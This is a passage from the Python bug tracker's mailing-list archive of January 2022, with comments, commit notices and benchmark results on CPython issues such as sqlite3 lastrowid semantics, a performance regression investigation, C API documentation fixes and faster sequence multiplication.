A number of environments essentially inherit isqrt from their Lisp base (e.g., wxMaxima). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:07:15 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 23:07:15 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641251235.68.0.438645895721.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: At thing at this point we can confidently say that is very very unlike that there is no actual regression. What's going on with the performance servers is something I still cannot explain. I at least can confirm the servers system packages were not updated between these runs but I cannot think of anything that could have influenced that change. I propose to close this issue as we are clearly unable to reproduce said slowdown. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:10:23 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 23:10:23 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641251423.82.0.870402173192.issue34538@roundup.psfhosted.org> miss-islington added the comment: New changeset 0b3c3cbbaf2967cc17531d65ece0969b0d2a2079 by Miss Islington (bot) in branch '3.10': bpo-34538: Remove Exception subclassing from tutorial (GH-30361) https://github.com/python/cpython/commit/0b3c3cbbaf2967cc17531d65ece0969b0d2a2079 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:19:33 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 23:19:33 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641251973.01.0.674760353361.issue34538@roundup.psfhosted.org> miss-islington added the comment: New changeset 4affb996ce6353dd029ece0c7d36f7c7c0af2de3 by Miss Islington (bot) in branch '3.9': bpo-34538: Remove Exception subclassing from tutorial (GH-30361) https://github.com/python/cpython/commit/4affb996ce6353dd029ece0c7d36f7c7c0af2de3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:19:43 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 23:19:43 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641251983.5.0.967691216709.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28587 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30377 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:21:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 23:21:11 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641252071.08.0.278329160781.issue34538@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:22:43 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 03 Jan 2022 23:22:43 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641252163.21.0.670191335548.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: "is very very unlike that there is no actual regression" I presume you meant "it is very very *likely* that there is no actual regression" This shouldn't hold up releases, but (having spent months trying to improve startup speed) I would still like to get to the bottom of the speed.python.org regression. ---------- priority: release blocker -> normal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:23:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 23:23:53 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641252233.24.0.728192596095.issue34931@roundup.psfhosted.org> Change by Irit Katriel : ---------- components: +Library (Lib) resolution: fixed -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:24:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 23:24:08 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641252248.82.0.42971352884.issue46251@roundup.psfhosted.org> Change by Irit Katriel : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:24:36 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 23:24:36 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641252276.59.0.237617469978.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I presume you mean > "it is very very *likely* that there is no actual regression" Yes, sorry, that's what I meant :) > This shouldn't hold up releases Cool, we will proceed with 3.9.10 and 3.11.0a3 tomorrow. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:31:56 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 23:31:56 +0000 Subject: [issue46240] Incorrect hint about forgetting a comma In-Reply-To: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> Message-ID: <1641252716.45.0.796930705532.issue46240@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +28588 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30378 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:42:52 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 23:42:52 +0000 Subject: [issue44958] [sqlite3] only reset statements when needed In-Reply-To: <1629444824.56.0.865259292634.issue44958@roundup.psfhosted.org> Message-ID: <1641253372.97.0.640941691284.issue44958@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28589 pull_request: https://github.com/python/cpython/pull/30379 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:47:20 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 23:47:20 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641253640.68.0.902036113142.issue44092@roundup.psfhosted.org> miss-islington added the comment: New changeset f1a58441eea6b7788c64d03a80ea35996301e550 by Erlend Egeberg Aasland in branch 'main': bpo-44092: Remove unused member `reset` from `sqlite3.Cursor` (GH-30377) https://github.com/python/cpython/commit/f1a58441eea6b7788c64d03a80ea35996301e550 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:47:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 23:47:48 +0000 Subject: [issue42259] pprint: infinite recursion for saferepr() when using nested objects, but str() works In-Reply-To: <1604490271.59.0.652277780579.issue42259@roundup.psfhosted.org> Message-ID: <1641253668.42.0.706182776404.issue42259@roundup.psfhosted.org> Irit Katriel added the comment: The documentation change in the PR clarifies the current state of things. @serhiy.storchaka - do you have a view on whether we should aim for an actual fix, or just document and close? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:49:11 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 23:49:11 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641253751.15.0.329949671702.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: I see that PEP 249 does not define the semantics of lastrowid for executemany(). What's the precedence here, MAL? IMO, it would be nice to be able to fetch the last row id after you've done a 1000 inserts using executemany(). So, another option would be to keep "set-lastrowid" in the query loop, and just remove the condition; we set it every time (but of course only build a PyObject of it when the loop is done). ---------- nosy: +lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:51:30 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 23:51:30 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641253890.32.0.244666412554.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 19:01:27 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 00:01:27 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641254487.41.0.257500348251.issue46249@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28590 pull_request: https://github.com/python/cpython/pull/30380 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 19:08:17 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 00:08:17 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641254897.33.0.181706397182.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: > So, another option would be to keep "set-lastrowid" in the query loop, and > just remove the condition; we set it every time (but of course only build a > PyObject of it when the loop is done). I made a competing PR (GH-30380) for this, just a little better (IMO); the Py object is only built on demand :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 19:13:08 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Tue, 04 Jan 2022 00:13:08 +0000 Subject: [issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__ In-Reply-To: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org> Message-ID: <1641255188.59.0.829562527905.issue46246@roundup.psfhosted.org> Jason R. Coombs added the comment: Perhaps it is a mistake. The `__slots__` were added as a (possible premature) optimization in [this conversation](https://github.com/python/importlib_metadata/pull/278/files#r565475347). It's not obvious to me what the danger is in defining __slots__ in a child class but not in a parent. Can you point me to resources or examples that help me understand the concern or missed expectation? The primary motivation behind defining slots is to help ensure immutability. Does the lack of slots violate that expectation? Convince me of the value of fixing this concern and please feel free to proceed with a PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 19:20:09 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 00:20:09 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641255609.85.0.513374672152.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +28591 pull_request: https://github.com/python/cpython/pull/30381 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 21:06:48 2022 From: report at bugs.python.org (Andrei Kulakov) Date: Tue, 04 Jan 2022 02:06:48 +0000 Subject: [issue41011] [venv] record which executable and command were used to create a virtual environment In-Reply-To: <1592429138.01.0.105154043549.issue41011@roundup.psfhosted.org> Message-ID: <1641262008.24.0.259687355513.issue41011@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- keywords: +patch nosy: +andrei.avk nosy_count: 2.0 -> 3.0 pull_requests: +28592 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30382 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 21:41:28 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 04 Jan 2022 02:41:28 +0000 Subject: [issue46233] Minor speedup for bigint squaring In-Reply-To: <1641163706.78.0.392911165646.issue46233@roundup.psfhosted.org> Message-ID: <1641264088.54.0.875446303607.issue46233@roundup.psfhosted.org> Tim Peters added the comment: New changeset 3aa5242b54b0627293d95cfb4a26b2f917f667be by Tim Peters in branch 'main': bpo-46233: Minor speedup for bigint squaring (GH-30345) https://github.com/python/cpython/commit/3aa5242b54b0627293d95cfb4a26b2f917f667be ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 21:43:20 2022 From: report at bugs.python.org (Tim Peters) Date: Tue, 04 Jan 2022 02:43:20 +0000 Subject: [issue46233] Minor speedup for bigint squaring In-Reply-To: <1641163706.78.0.392911165646.issue46233@roundup.psfhosted.org> Message-ID: <1641264200.82.0.705420527264.issue46233@roundup.psfhosted.org> Change by Tim Peters : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 22:55:29 2022 From: report at bugs.python.org (neonene) Date: Tue, 04 Jan 2022 03:55:29 +0000 Subject: [issue46208] os.path.normpath change between 3.11.0a2 and 3.11.0a3+ In-Reply-To: <1640893110.04.0.882099438605.issue46208@roundup.psfhosted.org> Message-ID: <1641268529.11.0.544549243841.issue46208@roundup.psfhosted.org> neonene added the comment: >Here's a branch with a passing ntpath.normpath test and a failing posixpath.normpath test: I took the test cases for my PR, thanks. On Windows machine, ntpath fails and posixpath passes. It seems that the passing one is tested with pure python code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 00:24:34 2022 From: report at bugs.python.org (laike9m) Date: Tue, 04 Jan 2022 05:24:34 +0000 Subject: [issue44875] Update dis.findlinestarts documentaiton to reflect new usage of `co_lines` (PEP 626) In-Reply-To: <1628548428.41.0.569263847778.issue44875@roundup.psfhosted.org> Message-ID: <1641273874.56.0.677239576169.issue44875@roundup.psfhosted.org> laike9m added the comment: Agreed. The current doc for `findlinestarts` is outdated. ---------- nosy: +laike9m _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 00:35:59 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 Jan 2022 05:35:59 +0000 Subject: [issue46235] Do all ref-counting at once for sequence multiplication In-Reply-To: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> Message-ID: <1641274559.54.0.0179580854135.issue46235@roundup.psfhosted.org> Dennis Sweeney added the comment: Hm... the effects are completely different on GCC. This is with --enable-optimizations and GCC on WSL: Slower (29): - tuple(range(100)) * 10: 1.22 us +- 0.02 us -> 2.29 us +- 0.05 us: 1.87x slower - tuple(range(100)) * 2: 345 ns +- 7 ns -> 629 ns +- 5 ns: 1.82x slower - tuple(range(1000)) * 2: 3.03 us +- 0.06 us -> 5.32 us +- 0.05 us: 1.76x slower - tuple(range(10)) * 100: 1.25 us +- 0.08 us -> 2.18 us +- 0.03 us: 1.74x slower - tuple(range(10)) * 1000: 12.9 us +- 0.2 us -> 20.8 us +- 0.2 us: 1.61x slower - tuple(range(100)) * 100: 13.0 us +- 0.2 us -> 20.9 us +- 0.1 us: 1.60x slower - tuple(range(100)) * 1000: 138 us +- 2 us -> 211 us +- 2 us: 1.52x slower - ("Python", "Perl") * 1000: 3.18 us +- 0.03 us -> 4.69 us +- 0.03 us: 1.47x slower - tuple(range(100)) * 10000: 1.52 ms +- 0.02 ms -> 2.21 ms +- 0.02 ms: 1.45x slower - tuple(range(10)) * 10000: 148 us +- 7 us -> 211 us +- 2 us: 1.43x slower - tuple(range(1000)) * 10: 15.9 us +- 0.4 us -> 22.3 us +- 0.2 us: 1.40x slower - ("Python", "Perl") * 10000: 33.8 us +- 0.8 us -> 46.5 us +- 0.6 us: 1.38x slower - ("Python", "Perl") * 100: 428 ns +- 9 ns -> 577 ns +- 6 ns: 1.35x slower - tuple(range(1000)) * 100: 167 us +- 2 us -> 218 us +- 2 us: 1.30x slower - tuple(range(10)) * 2: 85.5 ns +- 3.9 ns -> 111 ns +- 3 ns: 1.30x slower - (None,) * 100: 306 ns +- 4 ns -> 396 ns +- 3 ns: 1.29x slower - tuple(range(1000)) * 1000: 1.78 ms +- 0.03 ms -> 2.27 ms +- 0.02 ms: 1.27x slower - (None,) * 1000: 2.66 us +- 0.02 us -> 3.25 us +- 0.03 us: 1.22x slower - tuple(range(10)) * 10: 236 ns +- 17 ns -> 287 ns +- 2 ns: 1.22x slower - tuple(range(1000)) * 10000: 23.2 ms +- 0.4 ms -> 28.1 ms +- 0.3 ms: 1.21x slower - ("Python", "Perl") * 10: 88.6 ns +- 2.7 ns -> 106 ns +- 3 ns: 1.19x slower - (None,) * 10000: 27.5 us +- 0.3 us -> 31.5 us +- 0.2 us: 1.14x slower - ("Python", "Perl") * 2: 48.9 ns +- 0.6 ns -> 54.7 ns +- 0.8 ns: 1.12x slower - (None,) * 10: 63.4 ns +- 1.7 ns -> 70.0 ns +- 0.6 ns: 1.10x slower - (None,) * 2: 46.7 ns +- 0.5 ns -> 49.8 ns +- 0.5 ns: 1.06x slower - list(range(10)) * 2: 73.5 ns +- 1.2 ns -> 76.6 ns +- 2.3 ns: 1.04x slower - [None] * 10: 58.1 ns +- 0.7 ns -> 60.3 ns +- 0.7 ns: 1.04x slower - ["Python", "Perl"] * 2: 56.1 ns +- 0.6 ns -> 57.4 ns +- 0.9 ns: 1.02x slower - [None] * 2: 51.9 ns +- 0.5 ns -> 52.3 ns +- 0.5 ns: 1.01x slower Faster (18): - list(range(100)) * 10000: 1.98 ms +- 0.33 ms -> 953 us +- 14 us: 2.08x faster - list(range(1000)) * 100: 168 us +- 2 us -> 86.8 us +- 0.9 us: 1.93x faster - list(range(1000)) * 10: 15.9 us +- 0.2 us -> 8.40 us +- 0.13 us: 1.89x faster - list(range(100)) * 100: 13.1 us +- 0.2 us -> 7.41 us +- 0.09 us: 1.77x faster - list(range(1000)) * 1000: 1.80 ms +- 0.05 ms -> 1.04 ms +- 0.04 ms: 1.73x faster - list(range(100)) * 1000: 140 us +- 2 us -> 82.2 us +- 4.9 us: 1.70x faster - list(range(1000)) * 10000: 26.0 ms +- 0.6 ms -> 15.4 ms +- 0.3 ms: 1.69x faster - ["Python", "Perl"] * 10000: 33.8 us +- 0.3 us -> 21.2 us +- 0.2 us: 1.59x faster - ["Python", "Perl"] * 1000: 3.41 us +- 0.03 us -> 2.17 us +- 0.02 us: 1.57x faster - list(range(10)) * 1000: 12.2 us +- 0.2 us -> 8.11 us +- 0.21 us: 1.51x faster - list(range(10)) * 10000: 136 us +- 2 us -> 91.7 us +- 1.0 us: 1.49x faster - list(range(10)) * 100: 1.19 us +- 0.10 us -> 806 ns +- 15 ns: 1.47x faster - list(range(1000)) * 2: 3.05 us +- 0.07 us -> 2.08 us +- 0.04 us: 1.46x faster - list(range(100)) * 10: 1.17 us +- 0.03 us -> 850 ns +- 16 ns: 1.38x faster - ["Python", "Perl"] * 100: 440 ns +- 8 ns -> 325 ns +- 5 ns: 1.35x faster - list(range(10)) * 10: 172 ns +- 2 ns -> 148 ns +- 2 ns: 1.16x faster - list(range(100)) * 2: 320 ns +- 19 ns -> 289 ns +- 3 ns: 1.11x faster - ["Python", "Perl"] * 10: 85.0 ns +- 3.1 ns -> 79.7 ns +- 2.4 ns: 1.07x faster Benchmark hidden because not significant (3): [None] * 100, [None] * 1000, [None] * 10000 Geometric mean: 1.01x slower ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 00:46:27 2022 From: report at bugs.python.org (Matan Perelman) Date: Tue, 04 Jan 2022 05:46:27 +0000 Subject: [issue46252] SSLWantReadError causes _SelectorSocketTransport to close Message-ID: <1641275187.79.0.156571195024.issue46252@roundup.psfhosted.org> Change by Matan Perelman : ---------- assignee: christian.heimes components: SSL, asyncio nosy: asvetlov, christian.heimes, matan1008, yselivanov priority: normal severity: normal status: open title: SSLWantReadError causes _SelectorSocketTransport to close type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 01:54:40 2022 From: report at bugs.python.org (Matan Perelman) Date: Tue, 04 Jan 2022 06:54:40 +0000 Subject: [issue46252] SSLWantReadError causes _SelectorSocketTransport to close Message-ID: <1641279280.31.0.481036765718.issue46252@roundup.psfhosted.org> Change by Matan Perelman : ---------- keywords: +patch pull_requests: +28593 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30385 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:12:34 2022 From: report at bugs.python.org (Yassir Karroum) Date: Tue, 04 Jan 2022 07:12:34 +0000 Subject: [issue46245] Add support for dir_fd in shutil.rmtree() In-Reply-To: <1641233298.42.0.900326324833.issue46245@roundup.psfhosted.org> Message-ID: <1641280354.3.0.845123702212.issue46245@roundup.psfhosted.org> Change by Yassir Karroum : ---------- keywords: +patch nosy: +ukarroum nosy_count: 1.0 -> 2.0 pull_requests: +28594 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30386 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:14:07 2022 From: report at bugs.python.org (Julian Gilbey) Date: Tue, 04 Jan 2022 07:14:07 +0000 Subject: [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 Message-ID: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> New submission from Julian Gilbey : The documentation at https://docs.python.org/3/c-api/unicode.html?highlight=isalpha#unicode-character-properties lists a series of macros such as Py_UNICODE_ISSPACE(Py_UNICODE ch). However, the input type for these macros was changed from Py_UNICODE to Py_UCS4 in commit 324ac65cebf4b0141b946452a2604715f1ca7010 on Wed Aug 18 20:44:58 2010 +0000, but it seems that the documentation has never been updated. The fix should be easy; I'll make a PR for it. ---------- assignee: docs at python components: Documentation messages: 409649 nosy: docs at python, juliangilbey priority: normal severity: normal status: open title: C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:32:46 2022 From: report at bugs.python.org (Julian Gilbey) Date: Tue, 04 Jan 2022 07:32:46 +0000 Subject: [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 In-Reply-To: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> Message-ID: <1641281566.28.0.821471926464.issue46253@roundup.psfhosted.org> Change by Julian Gilbey : ---------- keywords: +patch pull_requests: +28595 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30387 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:48:59 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 04 Jan 2022 07:48:59 +0000 Subject: [issue46245] Add support for dir_fd in shutil.rmtree() In-Reply-To: <1641233298.42.0.900326324833.issue46245@roundup.psfhosted.org> Message-ID: <1641282539.93.0.00494070862964.issue46245@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +28596 pull_request: https://github.com/python/cpython/pull/30365 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:50:55 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 04 Jan 2022 07:50:55 +0000 Subject: [issue46245] Add support for dir_fd in shutil.rmtree() In-Reply-To: <1641233298.42.0.900326324833.issue46245@roundup.psfhosted.org> Message-ID: <1641282655.64.0.561639145175.issue46245@roundup.psfhosted.org> Serhiy Storchaka added the comment: I am sorry, I implemented this feature before opening this issue, but due to typo the PR was not linked here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:54:11 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 04 Jan 2022 07:54:11 +0000 Subject: [issue46235] Do all ref-counting at once for sequence multiplication In-Reply-To: <1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> Message-ID: <1641282851.86.0.454681751666.issue46235@roundup.psfhosted.org> Dennis Sweeney added the comment: Benchmarks are definitively better with the most recent change (in which the major data-copying loop is between parts of the same buffer): -------------- MSVC ------------ Slower (3): - (None,) * 2: 54.0 ns +- 0.7 ns -> 63.4 ns +- 2.5 ns: 1.17x slower - [None] * 2: 61.6 ns +- 3.3 ns -> 69.0 ns +- 1.4 ns: 1.12x slower - [None] * 10: 72.3 ns +- 2.2 ns -> 73.9 ns +- 2.3 ns: 1.02x slower Faster (33): - [None] * 10000: 25.1 us +- 0.2 us -> 12.8 us +- 0.2 us: 1.96x faster - (None,) * 10000: 26.7 us +- 0.2 us -> 15.2 us +- 0.2 us: 1.76x faster - list(range(1000)) * 100: 248 us +- 95 us -> 146 us +- 50 us: 1.70x faster - list(range(1000)) * 10: 16.8 us +- 0.2 us -> 10.4 us +- 0.1 us: 1.61x faster - list(range(100)) * 100: 13.8 us +- 0.3 us -> 8.60 us +- 0.09 us: 1.60x faster - list(range(10)) * 100: 1.41 us +- 0.02 us -> 924 ns +- 15 ns: 1.53x faster - list(range(100)) * 10: 1.47 us +- 0.10 us -> 981 ns +- 14 ns: 1.50x faster - tuple(range(10)) * 10000: 255 us +- 91 us -> 171 us +- 51 us: 1.49x faster - [None] * 100: 355 ns +- 11 ns -> 245 ns +- 7 ns: 1.45x faster - (None,) * 100: 357 ns +- 4 ns -> 261 ns +- 3 ns: 1.37x faster - tuple(range(1000)) * 10: 17.8 us +- 0.3 us -> 13.3 us +- 0.1 us: 1.34x faster - list(range(10)) * 10000: 205 us +- 49 us -> 157 us +- 95 us: 1.31x faster - list(range(1000)) * 2: 3.32 us +- 0.07 us -> 2.63 us +- 0.03 us: 1.26x faster - tuple(range(100)) * 100: 15.9 us +- 0.2 us -> 13.0 us +- 0.1 us: 1.22x faster - list(range(1000)) * 10000: 33.9 ms +- 0.9 ms -> 28.2 ms +- 1.6 ms: 1.20x faster - ["Python", "Perl"] * 10000: 31.4 us +- 4.3 us -> 26.2 us +- 0.7 us: 1.20x faster - tuple(range(1000)) * 10000: 33.8 ms +- 0.8 ms -> 28.3 ms +- 1.3 ms: 1.19x faster - tuple(range(100)) * 10: 1.68 us +- 0.02 us -> 1.42 us +- 0.01 us: 1.18x faster - ["Python", "Perl"] * 100: 442 ns +- 67 ns -> 376 ns +- 6 ns: 1.18x faster - tuple(range(10)) * 100: 1.63 us +- 0.02 us -> 1.40 us +- 0.02 us: 1.17x faster - tuple(range(1000)) * 2: 3.61 us +- 0.06 us -> 3.11 us +- 0.06 us: 1.16x faster - list(range(10)) * 10: 238 ns +- 8 ns -> 206 ns +- 6 ns: 1.16x faster - list(range(100)) * 10000: 3.15 ms +- 0.13 ms -> 2.73 ms +- 0.15 ms: 1.15x faster - list(range(100)) * 2: 370 ns +- 12 ns -> 323 ns +- 6 ns: 1.14x faster - tuple(range(100)) * 10000: 3.24 ms +- 0.13 ms -> 2.85 ms +- 0.13 ms: 1.14x faster - ("Python", "Perl") * 10000: 31.1 us +- 0.3 us -> 27.4 us +- 0.3 us: 1.14x faster - ("Python", "Perl") * 100: 438 ns +- 7 ns -> 389 ns +- 9 ns: 1.13x faster - ["Python", "Perl"] * 10: 86.1 ns +- 4.2 ns -> 77.3 ns +- 2.4 ns: 1.11x faster - list(range(10)) * 2: 81.5 ns +- 2.8 ns -> 77.0 ns +- 2.1 ns: 1.06x faster - ("Python", "Perl") * 10: 92.6 ns +- 7.8 ns -> 88.4 ns +- 4.8 ns: 1.05x faster - ["Python", "Perl"] * 2: 63.9 ns +- 2.6 ns -> 61.3 ns +- 1.7 ns: 1.04x faster - tuple(range(100)) * 2: 414 ns +- 19 ns -> 404 ns +- 6 ns: 1.02x faster - tuple(range(10)) * 10: 258 ns +- 7 ns -> 253 ns +- 8 ns: 1.02x faster Benchmark hidden because not significant (4): ("Python", "Perl") * 2, tuple(range(10)) * 2, (None,) * 10, tuple(range(1000)) * 100 Geometric mean: 1.21x faster -------- GCC PGO on WSL -------- Slower (4): - [None] * 10: 58.1 ns +- 0.7 ns -> 59.4 ns +- 0.9 ns: 1.02x slower - ("Python", "Perl") * 2: 48.9 ns +- 0.6 ns -> 49.9 ns +- 0.6 ns: 1.02x slower - [None] * 1000: 1.56 us +- 0.02 us -> 1.59 us +- 0.02 us: 1.02x slower - [None] * 2: 51.9 ns +- 0.5 ns -> 52.4 ns +- 0.8 ns: 1.01x slower Faster (44): - list(range(100)) * 10000: 1.98 ms +- 0.33 ms -> 976 us +- 43 us: 2.03x faster - list(range(1000)) * 100: 168 us +- 2 us -> 84.8 us +- 1.0 us: 1.98x faster - list(range(1000)) * 10: 15.9 us +- 0.2 us -> 8.47 us +- 0.20 us: 1.88x faster - list(range(100)) * 100: 13.1 us +- 0.2 us -> 7.02 us +- 0.12 us: 1.87x faster - list(range(1000)) * 1000: 1.80 ms +- 0.05 ms -> 986 us +- 12 us: 1.83x faster - list(range(100)) * 1000: 140 us +- 2 us -> 79.1 us +- 0.9 us: 1.77x faster - list(range(10)) * 10000: 136 us +- 2 us -> 77.5 us +- 1.0 us: 1.76x faster - list(range(1000)) * 10000: 26.0 ms +- 0.6 ms -> 15.2 ms +- 0.3 ms: 1.71x faster - list(range(10)) * 1000: 12.2 us +- 0.2 us -> 7.18 us +- 0.08 us: 1.70x faster - tuple(range(1000)) * 100: 167 us +- 2 us -> 106 us +- 1 us: 1.58x faster - tuple(range(1000)) * 1000: 1.78 ms +- 0.03 ms -> 1.13 ms +- 0.01 ms: 1.58x faster - tuple(range(10)) * 10000: 148 us +- 7 us -> 95.5 us +- 1.1 us: 